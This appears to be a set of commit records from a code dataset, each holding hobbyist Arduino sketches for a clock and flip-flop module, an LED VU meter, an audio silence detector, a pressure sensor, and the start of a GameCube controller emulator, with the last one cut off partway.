\/\/ D & T\n if (jack_t_ < 0)\n {\n t_out_ = d_out_ ? t_out_ : !t_out_;\n }\n else\n {\n t_out_ = jack_t_ ? !t_out_ : t_out_;\n }\n\n if (jack_d_ < 0)\n {\n d_out_ = !d_out_;\n }\n else\n {\n d_out_ = jack_d_;\n }\n\n \/\/ output all jacks\n cv_hold(true);\n gt_out(CO2, d_out_);\n gt_out(CO3, !d_out_);\n gt_out(CO4, t_out_);\n gt_out_multi(jacks, true);\n cv_hold(false);\n\n \/\/ display pattern\n display_pattern(25, 24, widget_save_->params.vals.pattern, DUINO_SH1106::White);\n Display.display(25, 102, 3, 3);\n\n \/\/ display jacks\n Display.fill_rect(10, 41, 3, 3, jacks & (1 << GT1) ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.fill_rect(115, 41, 3, 3, jacks & (1 << GT2) ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.fill_rect(91, 41, 3, 3, d_out_ ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.fill_rect(91, 50, 3, 3, d_out_ ? DUINO_SH1106::Black : DUINO_SH1106::White);\n Display.fill_rect(91, 59, 3, 3, t_out_ ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(10, 12, 5, 5);\n Display.display(115, 117, 5, 5);\n Display.display(91, 93, 5, 7);\n }\n else\n {\n gt_out_multi((1 << GT1) | (1 << GT2), false);\n\n Display.fill_rect(10, 41, 3, 3, DUINO_SH1106::Black);\n Display.fill_rect(115, 41, 3, 3, DUINO_SH1106::Black);\n Display.display(10, 12, 5, 5);\n Display.display(115, 117, 5, 5);\n }\n }\n\n void clock_external_callback()\n {\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7,\n widget_clock_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, widget_save_->params.vals.clock_bpm,\n widget_clock_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n widget_clock_->display();\n }\n\n void widget_clock_scroll_callback(int delta)\n {\n widget_save_->params.vals.clock_bpm += delta;\n if (widget_save_->params.vals.clock_bpm < 0)\n {\n widget_save_->params.vals.clock_bpm = 0;\n }\n else if (widget_save_->params.vals.clock_bpm > 300)\n {\n widget_save_->params.vals.clock_bpm = 300;\n }\n Clock.set_bpm(widget_save_->params.vals.clock_bpm);\n widget_save_->mark_changed();\n widget_save_->display();\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7, DUINO_SH1106::White);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, widget_save_->params.vals.clock_bpm,\n DUINO_SH1106::Black);\n widget_clock_->display();\n }\n\n void widget_swing_scroll_callback(int delta)\n {\n widget_save_->params.vals.swing += delta;\n if (widget_save_->params.vals.swing < 0)\n {\n widget_save_->params.vals.swing = 0;\n }\n else if (widget_save_->params.vals.swing > 6)\n {\n widget_save_->params.vals.swing = 6;\n }\n Clock.set_swing(widget_save_->params.vals.swing);\n widget_save_->mark_changed();\n widget_save_->display();\n Display.fill_rect(widget_swing_->x() + 1, widget_swing_->y() + 1, 11, 7, DUINO_SH1106::White);\n display_swing(widget_swing_->x() + 1, widget_swing_->y() + 1, widget_save_->params.vals.swing, DUINO_SH1106::Black);\n widget_swing_->display();\n }\n\n void widgets_lfsr_scroll_callback(uint8_t half, int delta)\n {\n Display.fill_rect(24 + (half * 40) + ((widget_save_->params.vals.lfsr[half] - 1) * 5), 29, 5, 3,\n DUINO_SH1106::Black);\n Display.fill_rect(widgets_lfsr_->x(half) + 4, widgets_lfsr_->y(half) + 3, 5, 7, DUINO_SH1106::Black);\n widget_save_->params.vals.lfsr[half] += delta;\n if (widget_save_->params.vals.lfsr[half] < 1)\n {\n widget_save_->params.vals.lfsr[half] = 1;\n }\n else if (widget_save_->params.vals.lfsr[half] > 8)\n {\n widget_save_->params.vals.lfsr[half] = 8;\n }\n Display.draw_char(widgets_lfsr_->x(half) + 4, widgets_lfsr_->y(half) + 3,\n '0' + widget_save_->params.vals.lfsr[half], DUINO_SH1106::White);\n draw_lfsr_arrow(24 + (half * 40) + ((widget_save_->params.vals.lfsr[half] - 1) * 5), 29, DUINO_SH1106::White);\n widgets_lfsr_->display();\n Display.display(23, 103, 3, 3);\n }\n\nprivate:\n void display_clock(int16_t x, int16_t y, uint16_t bpm, DUINO_SH1106::Color color)\n {\n if (bpm == 0)\n {\n Display.draw_text(x, y, \"EXT\", color);\n }\n else\n {\n Display.draw_char(x, y, '0' + bpm \/ 100, color);\n Display.draw_char(x + 6, y, '0' + (bpm % 100) \/ 10, color);\n Display.draw_char(x + 12, y, '0' + bpm % 10, color);\n }\n }\n\n void display_swing(int16_t x, int16_t y, uint8_t swing, DUINO_SH1106::Color color)\n {\n const uint8_t swing_percent = 50 + 4 * swing;\n Display.draw_char(x, y, '0' + swing_percent \/ 10, color);\n Display.draw_char(x + 6, y, '0' + swing_percent % 10, color);\n }\n\n void display_pattern(int16_t x, int16_t y, uint16_t pattern, DUINO_SH1106::Color color)\n {\n for (uint8_t i = 0; i < 16; ++i)\n {\n Display.fill_rect(25 + i * 5, 24, 3, 3, pattern & (1 << i) ? DUINO_SH1106::White : DUINO_SH1106::Black);\n }\n }\n\n void display_lfsr_loop(int16_t x, int16_t y, bool lfsr_loop, DUINO_SH1106::Color color)\n {\n if(lfsr_loop)\n {\n for(uint8_t i = 0; i < 2; ++i)\n {\n Display.draw_bitmap_8(56 + i * 8, 13, loop_icons, i, DUINO_SH1106::White);\n }\n }\n else\n {\n Display.fill_rect(56, 13, 16, 8, DUINO_SH1106::Black);\n }\n }\n\n void draw_lfsr_arrow(int16_t x, int16_t y, DUINO_SH1106::Color color)\n {\n Display.draw_pixel(x, y + 2, color);\n Display.draw_vline(x + 1, y + 1, 2, color);\n Display.draw_vline(x + 2, y, 3, color);\n Display.draw_vline(x + 3, y + 1, 2, color);\n Display.draw_pixel(x + 4, y + 2, color);\n }\n\n struct ParameterValues {\n uint16_t pattern;\n int16_t clock_bpm;\n int8_t swing;\n int8_t lfsr[2];\n };\n\n DUINO_WidgetContainer<3> * container_outer_;\n DUINO_WidgetContainer<2> * container_top_;\n DUINO_SaveWidget<ParameterValues> * widget_save_;\n DUINO_DisplayWidget * widget_clock_;\n DUINO_DisplayWidget * widget_swing_;\n DUINO_MultiDisplayWidget<2> * widgets_lfsr_;\n\n bool lfsr_loop_, jack_1s_, d_out_, t_out_;\n int8_t jack_d_, jack_t_;\n};\n\nDU_RDT_Function * function;\n\nvoid clock_ext_isr()\n{\n Clock.on_jack(function->gt_read_debounce(DUINO_Function::GT3));\n}\n\nvoid clock_callback() { function->clock_clock_callback(); }\nvoid external_callback() { function->clock_external_callback(); }\n\nvoid clock_scroll_callback(int delta) { function->widget_clock_scroll_callback(delta); }\nvoid swing_scroll_callback(int delta) { function->widget_swing_scroll_callback(delta); }\nvoid lfsr_scroll_callback(uint8_t half, int delta) { function->widgets_lfsr_scroll_callback(half, delta); }\n\nvoid setup()\n{\n function = new DU_RDT_Function();\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/rdt\/rdt.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f9295958f31b7dc57e197e08fa6f1c51a7df1e42","subject":"Added ampli-tie code.","message":"Added ampli-tie code.\n","repos":"molecule\/radio-playing","old_file":"ampli-tie\/ampli_tie\/ampli_tie.ino","new_file":"ampli-tie\/ampli_tie\/ampli_tie.ino","new_contents":"\/*\nLED VU meter for Arduino and Adafruit NeoPixel LEDs.\n \nHardware requirements:\n - Most Arduino or Arduino-compatible boards (ATmega 328P or better).\n - Adafruit Electret Microphone Amplifier (ID: 1063)\n - Adafruit Flora RGB Smart Pixels (ID: 1260)\n OR\n - Adafruit NeoPixel Digital LED strip (ID: 1138)\n - Optional: battery for portable use (else power through USB or adapter)\nSoftware requirements:\n - Adafruit NeoPixel library\n \nConnections:\n - 3.3V to mic amp +\n - GND to mic amp -\n - Analog pin to microphone output (configurable below)\n - Digital pin to LED data input (configurable below)\n See notes in setup() regarding 5V vs. 3.3V boards - there may be an\n extra connection to make and one line of code to enable or disable.\n \nWritten by Adafruit Industries. Distributed under the BSD license.\nThis paragraph must be included in any redistribution.\n*\/\n \n#include <Adafruit_NeoPixel.h>\n \n#define N_PIXELS 16 \/\/ Number of pixels in strand\n#define MIC_PIN A9 \/\/ Microphone is attached to this analog pin\n#define LED_PIN 6 \/\/ NeoPixel LED strand is connected to this pin\n#define DC_OFFSET 0 \/\/ DC offset in mic signal - if unusure, leave 0\n#define NOISE 10 \/\/ Noise\/hum\/interference in mic signal\n#define SAMPLES 60 \/\/ Length of buffer for dynamic level adjustment\n#define TOP (N_PIXELS + 2) \/\/ Allow dot to go slightly off scale\n#define PEAK_FALL 40 \/\/ Rate of peak falling dot\n \nbyte\n peak = 0, \/\/ Used for falling dot\n dotCount = 0, \/\/ Frame counter for delaying dot-falling speed\n volCount = 0; \/\/ Frame counter for storing past volume data\nint\n vol[SAMPLES], \/\/ Collection of prior volume samples\n lvl = 10, \/\/ Current \"dampened\" audio level\n minLvlAvg = 0, \/\/ For dynamic adjustment of graph low & high\n maxLvlAvg = 512;\nAdafruit_NeoPixel\n strip = Adafruit_NeoPixel(N_PIXELS, LED_PIN, NEO_GRB + NEO_KHZ800);\n \nvoid setup() {\n \n \/\/ This is only needed on 5V Arduinos (Uno, Leonardo, etc.).\n \/\/ Connect 3.3V to mic AND TO AREF ON ARDUINO and enable this\n \/\/ line. Audio samples are 'cleaner' at 3.3V.\n \/\/ COMMENT OUT THIS LINE FOR 3.3V ARDUINOS (FLORA, ETC.):\n\/\/ analogReference(EXTERNAL);\n \n memset(vol, 0, sizeof(vol));\n strip.begin();\n}\n \nvoid loop() {\n uint8_t i;\n uint16_t minLvl, maxLvl;\n int n, height;\n \n \n \n n = analogRead(MIC_PIN); \/\/ Raw reading from mic \n n = abs(n - 512 - DC_OFFSET); \/\/ Center on zero\n n = (n <= NOISE) ? 0 : (n - NOISE); \/\/ Remove noise\/hum\n lvl = ((lvl * 7) + n) >> 3; \/\/ \"Dampened\" reading (else looks twitchy)\n \n \/\/ Calculate bar height based on dynamic min\/max levels (fixed point):\n height = TOP * (lvl - minLvlAvg) \/ (long)(maxLvlAvg - minLvlAvg);\n \n if(height < 0L) height = 0; \/\/ Clip output\n else if(height > TOP) height = TOP;\n if(height > peak) peak = height; \/\/ Keep 'peak' dot at top\n \n \n \/\/ Color pixels based on rainbow gradient\n for(i=0; i<N_PIXELS; i++) {\n if(i >= height) strip.setPixelColor(i, 0, 0, 0);\n else strip.setPixelColor(i,Wheel(map(i,0,strip.numPixels()-1,30,150)));\n \n }\n \n \n \n \/\/ Draw peak dot \n if(peak > 0 && peak <= N_PIXELS-1) strip.setPixelColor(peak,Wheel(map(peak,0,strip.numPixels()-1,30,150)));\n \n strip.show(); \/\/ Update strip\n \n\/\/ Every few frames, make the peak pixel drop by 1:\n \n if(++dotCount >= PEAK_FALL) { \/\/fall rate \n \n if(peak > 0) peak--;\n dotCount = 0;\n }\n \n \n \n vol[volCount] = n; \/\/ Save sample for dynamic leveling\n if(++volCount >= SAMPLES) volCount = 0; \/\/ Advance\/rollover sample counter\n \n \/\/ Get volume range of prior frames\n minLvl = maxLvl = vol[0];\n for(i=1; i<SAMPLES; i++) {\n if(vol[i] < minLvl) minLvl = vol[i];\n else if(vol[i] > maxLvl) maxLvl = vol[i];\n }\n \/\/ minLvl and maxLvl indicate the volume range over prior frames, used\n \/\/ for vertically scaling the output graph (so it looks interesting\n \/\/ regardless of volume level). If they're too close together though\n \/\/ (e.g. at very low volume levels) the graph becomes super coarse\n \/\/ and 'jumpy'...so keep some minimum distance between them (this\n \/\/ also lets the graph go to zero when no sound is playing):\n if((maxLvl - minLvl) < TOP) maxLvl = minLvl + TOP;\n minLvlAvg = (minLvlAvg * 63 + minLvl) >> 6; \/\/ Dampen min\/max levels\n maxLvlAvg = (maxLvlAvg * 63 + maxLvl) >> 6; \/\/ (fake rolling average)\n \n}\n \n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colors are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ampli-tie\/ampli_tie\/ampli_tie.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8c0375464d1468888bd4417ff6388580b5f9f2ce","subject":"add first pass of audio sampling code","message":"add first pass of audio sampling code\n\nCurrently, the script reads the average voltage over a window of 100 x 20ms = 2 seconds\nand prints the average voltage level over serial. This is a raw, hardware-dependent\nnumber that should be processed later, or prior to sending.\n","repos":"jhaazpr\/live-object","old_file":"src\/audio_sampler\/src\/audio_sampler\/audio_sampler.ino","new_file":"src\/audio_sampler\/src\/audio_sampler\/audio_sampler.ino","new_contents":"\/*\n * Silence Thresholder\n * For Chatty Coasters\n *\/\n\n\/* DECLARATIONS *\/\n\n\/* Discretize audio input to one sample every SAMPLE_WINDOW mS:\n * e.g. 50mS = 20Hz sample rate. *\/\nconst int sampleWindow = 50; \n\n\/* After TIME_THRESH sampleWindows below VOL_THRESH, trigger event\n * 20Hz * 5S wait time = 100 *\/\nint timeThresh = 100;\nint timeThreshCount;\n\n\/* Record the average voltage over a window to be reported. *\/\nfloat runningAverage = 0;\nint windowSize = 100;\nint currWindow = 0;\n\n\/* Thresholds for discretizing voltage to low, med, high.\n * WARNING: need to adjust based on audio input's hardware. *\/\nconst float lowThresh = 0.5f;\nconst float medThresh = 1.2f;\nconst float highThresh = 2.1f;\n\n\/* Function pointer to a function to activate after silence threshold\n * is achieved. *\/\nvoid (*threshFunc)(float *) = NULL;\n\n\/* Function to run in setup to intially train the thresholder on how\n * chatty the converstaion is. Chattiness is a factor from 0.1 to\n * 1.0 representing quiet to loud. *\/\nvoid trainPhrase(); \/\/ TODO\nfloat chattiness; \/\/ TODO\n\n\/* Do not speak again for COOLDOWN milliseconds after speaking. *\/\nint cooldown;\nconst int cooldownTime = 5000;\n\n\/* Threshold function declarations *\/\nvoid blinkLed(float *);\nvoid printThresh(float *);\nvoid sendAudio(float *);\n\nunsigned int sample;\n\n\/* Pin declarations *\/\nint led = 13;\n\n\/* MAIN CODE *\/\n\nvoid setup() {\n pinMode(led, OUTPUT);\n Serial.begin(9600);\n timeThreshCount = 0;\n \/\/ threshFunc = &printThresh;\n \/\/ threshFunc = &blinkLed;\n threshFunc = &sendAudio;\n\n\t\/\/ trainPhrase();\n}\n\n\nvoid loop() {\n unsigned long startMillis= millis(); \/\/ Start of sample window\n\tdouble volts = audioSample(startMillis);\n Serial.print(\"Volts: \");\n\tSerial.println(volts);\n Serial.print(\"Window: \");\n Serial.println(currWindow);\n\n if (++currWindow > windowSize)\n {\n runningAverage \/= currWindow;\n threshFunc(&runningAverage);\n runningAverage = 0;\n currWindow = 0;\n }\n else\n {\n runningAverage += volts;\n }\n\n}\n\ndouble audioSample(unsigned long startMillis) {\n unsigned int peakToPeak = 0; \/\/ peak-to-peak level\n unsigned int signalMax = 0;\n unsigned int signalMin = 1024;\n\n \/\/ collect data for 50 mS\n while (millis() - startMillis < sampleWindow)\n {\n sample = analogRead(0);\n if (sample < 1024) \/\/ toss out spurious readings\n {\n if (sample > signalMax)\n {\n signalMax = sample; \/\/ save just the max levels\n }\n else if (sample < signalMin)\n {\n signalMin = sample; \/\/ save just the min levels\n }\n }\n }\n peakToPeak = signalMax - signalMin; \/\/ max - min = peak-peak amplitude\n\treturn (peakToPeak * 3.3) \/1024; \/\/ convert to volts\n}\n\nvoid trainPhrase() {\n\t\/\/ machine learning jazz maybe\n}\n\nvoid blinkLed(float *unused) {\n \/* Intentionally block thread, do not listen during blocking *\/\n digitalWrite(led, HIGH);\n delay(2000);\n digitalWrite(led, LOW);\n}\n\nvoid printThresh(float *unused) {\n Serial.println(\"*********REACHED A THRESHOLD!**********\");\n}\n\nvoid sendAudio(float *average) {\n \/\/TODO: send average over serial, marshalling to be decided\n Serial.print(\"*********Boutta send some audio: \");\n Serial.print(*average);\n Serial.println(\"*********\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/audio_sampler\/src\/audio_sampler\/audio_sampler.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f7691a7afff8dc948645e02fc763f1fc1ba034d","subject":"basic pressure sensor sketch","message":"basic pressure sensor sketch\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/presure_sensor\/presure_sensor.ino","new_file":"ardesp\/presure_sensor\/presure_sensor.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n\/\/ pinMode(A0,INPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\nint analogValue = analogRead(A0);\nfloat pressure = (analogValue - 25)* .19; \/\/ conversion\/\"calibration\" because sensor 4.5v=1.2MPa\nSerial.print(\"Value: \");\nSerial.print(analogValue);\nSerial.print(\" Pressure: \");\nSerial.print(pressure);\nSerial.println(\" PSI\");\ndelay(400);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/presure_sensor\/presure_sensor.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a3ce5c20c6a2e4d14d158805701d774c025860d4","subject":"Added GCN Controller V5 which will support...","message":"Added GCN Controller V5 which will support...\n\n...repeating blocks of a macro, instead of repeating the entire macro.","repos":"WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff","old_file":"gcn_controller_v5\/gcn_controller_v5.ino","new_file":"gcn_controller_v5\/gcn_controller_v5.ino","new_contents":"\/\/ This project uses 4 8-bit shift register, such as 74HC595 or HCF4094, in cascading format\r\n\/*\r\n GCN Controller for Arduino UNO by WhatAboutGaming\r\n For use in the Twitch.TV stream TwitchTriesToPlay.\r\n https:\/\/www.twitch.tv\/twitchtriestoplay\r\n https:\/\/github.com\/WhatAboutGaming\/Twitch-Plays-Stuff\r\n\r\n Reference:\r\n http:\/\/www.int03.co.uk\/crema\/hardware\/gamecube\/gc-control.html\r\n http:\/\/www.seas.upenn.edu\/~gland\/gamecube.html\r\n https:\/\/nintenduino.wordpress.com\/documentation\/controller-reference\/\r\n https:\/\/nintenduino.files.wordpress.com\/2013\/12\/untitled.png\r\n https:\/\/nintenduino.files.wordpress.com\/2013\/12\/protocolv1-0.png\r\n https:\/\/github.com\/NicoHood\/Nintendo\r\n https:\/\/github.com\/dekuNukem\/gc3ds\r\n*\/\r\n\r\n\/*\r\n PINOUTS\r\n\r\n\r\n Protoboard Side|SR Bit |Variable Name |GCN Controller Side\r\n 13 LEFT |22 and 23 |axisY |Analog Axis Y \/\/ Done\r\n 14 LEFT |20 and 21 |axisX |Analog Axis X \/\/ Done\r\n 15 LEFT |18 and 19 |axisCx |Axis C X \/\/ Done\r\n 16 LEFT |16 and 17 |axisCy |Axis C Y \/\/ Done\r\n 6 LEFT |7 |buttonDDown |D-Down \/\/ Done\r\n 5 LEFT |6 |buttonDLeft |D-Left \/\/ Done\r\n 8 LEFT |8 |axisLTrigger |L Analog Trigger \/\/ Done\r\n 7 LEFT |10 |buttonLTrigger|L Digital Trigger \/\/ Done\r\n 10 LEFT |0 |buttonTurbo |Turbo (Bootleg Controller Button) \/\/ Done\r\n 11 LEFT |24 |buttonMode |Mode (Bootleg Controller Button) \/\/ Done\r\n 12 LEFT |3 |buttonStart |Start \/\/ Done\r\n 4 RIGHT |9 |axisRTrigger |R Analog Trigger \/\/ Done\r\n 3 LEFT |4 |buttonDUp |D-Up \/\/ Done\r\n 4 LEFT |5 |buttonDRight |D-Right \/\/ Done\r\n 5 RIGHT |15 |buttonB |B \/\/ Done\r\n 3 RIGHT |11 |buttonRTrigger|R Digital Trigger \/\/ Done\r\n 6 RIGHT |12 |buttonY |Y \/\/ Done\r\n 8 RIGHT |13 |buttonX |X \/\/ Done\r\n 7 RIGHT |14 |buttonA |A \/\/ Done\r\n 10 RIGHT |2 |buttonZ |Z \/\/ Done\r\n 9 RIGHT |1 |buttonMacro |Macro (Bootleg Controller Button) \/\/ Done\r\n 9 LEFT |A0 (Not SR) |motorInput |Motor\r\n 11 RIGHT |A1 (Not SR) |turboLed |Turbo LED (Bootleg Controller Function)\r\n 12 RIGHT |A2 (Not SR) |macroLed |Macro LED (Bootleg Controller Function)\r\n*\/\r\n\r\n#define latchPin 2 \/\/ HCF4094\/74HC595 Latch\/Strobe Input\r\n#define dataPin 3 \/\/ HCF4094\/74HC595 Data Input\r\n#define clockPin 4 \/\/ HCF4094\/74HC595 Clock Input\r\n\r\n\/*\r\n #define buttonLTrigger 0 \/\/ Left 7 \/\/ Bit\r\n #define buttonRTrigger 1 \/\/ Right 3 \/\/ Bit\r\n #define buttonZ 2 \/\/ Right 10 \/\/ Bit\r\n #define buttonStart 3 \/\/ Left 12 \/\/ Bit\r\n\r\n #define buttonY 4 \/\/ Right 6 \/\/ Bit\r\n #define buttonX 5 \/\/ Right 8 \/\/ Bit\r\n #define buttonB 6 \/\/ Right 5 \/\/ Bit\r\n #define buttonA 7 \/\/ Right 7 \/\/ Bit\r\n\r\n #define axisLTrigger 8 \/\/ Left 8 \/\/ Bit\r\n #define axisRTrigger 9 \/\/ Right 4 \/\/ Bit\r\n #define buttonMacro 10 \/\/ Right 9 \/\/ Bit\r\n #define buttonTurbo 11 \/\/ Left 10 \/\/ Bit\r\n\r\n #define buttonDUp 12 \/\/ Left 3 \/\/ Bit\r\n #define buttonDDown 13 \/\/ Left 6 \/\/ Bit\r\n #define buttonDRight 14 \/\/ Left 4 \/\/ Bit\r\n #define buttonDLeft 15 \/\/ Left 5 \/\/ Bit\r\n\r\n #define axisXHalf 16 \/\/ Left 14\r\n #define axisXFull 17 \/\/ Left 14 \/\/ Both are part of the same byte\r\n\r\n #define axisYHalf 18 \/\/ Left 13\r\n #define axisYFull 19 \/\/ Left 13 \/\/ Both are part of the same byte\r\n\r\n #define axisCxHalf 20 \/\/ left 15\r\n #define axisCxFull 21 \/\/ left 15 \/\/ Both are part of the same byte\r\n\r\n #define axisCyHalf 22 \/\/ Left 16\r\n #define axisCyFull 23 \/\/ Left 16 \/\/ Both are part of the same byte\r\n\r\n #define buttonMode 24 \/\/ Left 11 \/\/ Bit\r\n*\/\r\n#define buttonTurbo 0 \/\/ Left 10 \/\/ Bit\r\n#define buttonMacro 1 \/\/ Right 9 \/\/ Bit\r\n#define buttonZ 2 \/\/ Right 10 \/\/ Bit\r\n#define buttonStart 3 \/\/ Left 12 \/\/ Bit\r\n\r\n#define buttonDUp 4 \/\/ Left 3 \/\/ Bit\r\n#define buttonDRight 5 \/\/ Left 4 \/\/ Bit\r\n#define buttonDLeft 6 \/\/ Left 5 \/\/ Bit\r\n#define buttonDDown 7 \/\/ Left 6 \/\/ Bit\r\n\r\n#define axisLTrigger 8 \/\/ Left 8 \/\/ Bit\r\n#define axisRTrigger 9 \/\/ Right 4 \/\/ Bit\r\n#define buttonLTrigger 10 \/\/ Left 7 \/\/ Bit\r\n#define buttonRTrigger 11 \/\/ Right 3 \/\/ Bit\r\n\r\n#define buttonY 12 \/\/ Right 6 \/\/ Bit\r\n#define buttonX 13 \/\/ Right 8 \/\/ Bit\r\n#define buttonA 14 \/\/ Right 7 \/\/ Bit\r\n#define buttonB 15 \/\/ Right 5 \/\/ Bit\r\n\r\n#define axisCxHalf 18 \/\/ Left 14\r\n#define axisCxFull 19 \/\/ Left 14 \/\/ Both are part of the same byte\r\n\r\n#define axisCyHalf 16 \/\/ Left 13\r\n#define axisCyFull 17 \/\/ Left 13 \/\/ Both are part of the same byte\r\n\r\n#define axisXHalf 20 \/\/ left 15\r\n#define axisXFull 21 \/\/ left 15 \/\/ Both are part of the same byte\r\n\r\n#define axisYHalf 22 \/\/ Left 16\r\n#define axisYFull 23 \/\/ Left 16 \/\/ Both are part of the same byte\r\n\r\n#define buttonMode 24 \/\/ Left 11 \/\/ Bit\r\n\/*\r\n serial_rx_buffer[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer[1] = 0x00; \/\/ Digital L Trigger, Digital R Trigger, Z, Start, Y, X, B, A\r\n serial_rx_buffer[2] = 0x00; \/\/ Analog L Trigger, Analog R Trigger, Macro (Bootleg), Turbo (Bootleg), DUp, DDown, DRight, DLeft\r\n serial_rx_buffer[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer[11] = 0x01; \/\/ Postamble\r\n*\/\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\nconst uint8_t startingMacroIndex = 0x04;\r\nconst uint8_t endingMacroIndex = 0x64;\r\nconst uint8_t macroBufferSize = endingMacroIndex - startingMacroIndex;\r\nconst uint8_t startingMacroMetadataIndex = endingMacroIndex + 1;\r\nconst uint8_t endingMacroMetadataIndex = startingMacroMetadataIndex + macroBufferSize;\r\nconst uint8_t macroMetadataSize = endingMacroMetadataIndex - startingMacroMetadataIndex; \/\/ Using define on these variables for some reason was making it return wrong values\r\n\/\/const uint8_t macroMetadataSize = macroBufferSize;\r\n\r\nuint8_t macroIndex = 0;\r\nuint8_t currentMacroIndexRunning = 0;\r\nuint8_t macroInputsToRun = 0;\r\nuint8_t loopMacro = 0; \/\/0 = Don't loop, 1 = loop\r\nuint8_t timesToLoop = 0; \/\/0 = Loop indefinitely, >0 = loop n times\r\nuint8_t loopCounter = 0;\r\n\/\/uint8_t macroHasInnerLoops = 0; \/\/This variable is used to tell if the macro has inner loops (eg: a+b,[wait b]255) \/\/ 0 = There are NO inner loops !0 = There is at least one inner loop\r\nuint8_t howManyInnerLoopsMacroHas = 0; \/\/This variable is used to tell if the macro has inner loops (eg: a+b,[wait b]255) and how many there are \/\/ 0 = There are NO inner loops !0 = There are n inner loops, where N is this variable\r\nuint8_t macroMetadataIndex = 0;\r\nuint8_t currentMacroMetadataIndexRunning = 0;\r\n\r\n#define motorInput A0 \/\/ Left 9\r\n#define turboLed A1 \/\/ Right 11\r\n#define macroLed A2 \/\/ Right 12\r\n\r\n\/\/ Left 9 = Motor Input = A0\r\n\/\/ Right 11 = Turbo LED = A1\r\n\/\/ Right 12 = Macro LED = A2\r\n\r\nbool defaultStatus[] = {HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, LOW, LOW, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH};\r\nbool inputStatus[] = {HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, LOW, LOW, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH};\r\n\/\/uint8_t commandArray[] = {buttonLTrigger, buttonRTrigger, buttonZ, buttonStart, buttonY, buttonX, buttonB, buttonA, axisLTrigger, axisRTrigger, buttonMacro, buttonTurbo, buttonDUp, buttonDDown, buttonDRight, buttonDLeft, axisXHalf, axisXFull, axisYHalf, axisYFull, axisCxHalf, axisCxFull, axisCyHalf, axisCyHalf, buttonMode, 25, 26, 27, 28, 29, 30, 31};\r\nuint8_t commandArray[] = {buttonTurbo, buttonMacro, buttonZ, buttonStart, buttonDUp, buttonDRight, buttonDLeft, buttonDDown, axisLTrigger, axisRTrigger, buttonLTrigger, buttonRTrigger, buttonY, buttonX, buttonA, buttonB, axisCyHalf, axisCyFull, axisCxHalf, axisCxFull, axisXHalf, axisXFull, axisYHalf, axisYHalf, buttonMode, 25, 26, 27, 28, 29, 30, 31};\r\nuint8_t motorArray[] = {motorInput, turboLed, macroLed}; \/\/ Motor, Turbo LED, Macro LED\r\n\r\nbool isInputting = false;\r\nbool isInputtingDelayed = false;\r\n\r\nbool didInputChange = false;\r\n\r\nuint32_t inputDelay = 0;\r\nuint32_t previousInputDelay = 0;\r\n\/\/uint32_t currentMillis = 0;\r\n\r\nuint32_t baudRate = 500000;\r\n\r\nuint8_t serial_rx_buffer[12];\r\nuint8_t current_macro_input[12];\r\nuint8_t old_macro_input[12];\r\nuint8_t macro_buffer[macroBufferSize][12];\r\nuint8_t 